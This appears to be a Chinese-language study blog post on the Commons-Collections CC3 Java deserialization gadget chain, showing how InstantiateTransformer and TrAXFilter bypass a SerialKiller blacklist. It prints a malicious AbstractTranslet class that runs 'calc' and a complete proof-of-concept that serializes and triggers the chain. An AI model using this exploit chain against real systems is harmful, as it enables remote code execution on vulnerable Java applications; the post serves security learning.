省流 SerialKiller
可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的 类,其中限制了cc1和cc2中命令执行的类,InvokerTransformer
cc3
就是为了绕过对其的限制,这里使用的是com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
来执行
也就是TrAXFilter
的构造方法中templates.newTransformer()· 调⽤到
TemplatesImpl`⾥的字节码
下面来看看当没有了invokerTransformer
该如何调用任意方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public Object transform (Object input) { try { if (input instanceof Class == false ) { throw new FunctorException ( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InstantiateTransformer: The constructor must exist and be public " ); } catch (InstantiationException ex) { throw new FunctorException ("InstantiateTransformer: InstantiationException" , ex); } catch (IllegalAccessException ex) { throw new FunctorException ("InstantiateTransformer: Constructor must be public" , ex); } catch (InvocationTargetException ex) { throw new FunctorException ("InstantiateTransformer: Constructor threw an exception" , ex); } }
判断参数如果是class
类型的 就会创建一个类的构造器并且调用其构造方法
这里在同目录下写一个恶意程序让poc去调用 但是出现了空指针的报错 发现是在这个变量的地方出现的 那就想办法让其变量等于ABSTRACT_TRANSLET
1 if (superClass.getName().equals(ABSTRACT_TRANSLET))
也就是恶意类的父类要继承 即AbstractTranslet
再次执行就成功了
calc.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class calc extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
当Instantiate Transformer
和TrAXFilter.TrAXFilter
成功绕过可以执行任意命令 后面的就和cc1
都一样了
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class cc3 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class temp = templates.getClass(); Field nameField = temp.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates, "ki10Moc" ); Field bytecodesField = temp.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("E://Code/JavaSecurityCode/cc3/target/classes/calc.class" )); byte [][] codes = {code}; bytecodesField.set(templates, codes); Field tfactoryField = temp.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl () { }); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); instantiateTransformer.transform(TrAXFilter.class); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, instantiateTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class); cons.setAccessible(true ); InvocationHandler handler = (InvocationHandler) cons.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class []{Map.class}, handler ); Object o = cons.newInstance(Retention.class, proxyMap); byte [] bytes = serialize(o); unserialize(bytes); } public static void unserialize (byte [] bytes) throws Exception{ try (ByteArrayInputStream bain = new ByteArrayInputStream (bytes); ObjectInputStream oin = new ObjectInputStream (bain)){ oin.readObject(); } } public static byte [] serialize(Object o) throws Exception{ try (ByteArrayOutputStream baout = new ByteArrayOutputStream (); ObjectOutputStream oout = new ObjectOutputStream (baout)){ oout.writeObject(o); return baout.toByteArray(); } } }
恶意类在上面写了
小问题: 这里直接把字节码写上去却不能执行 报错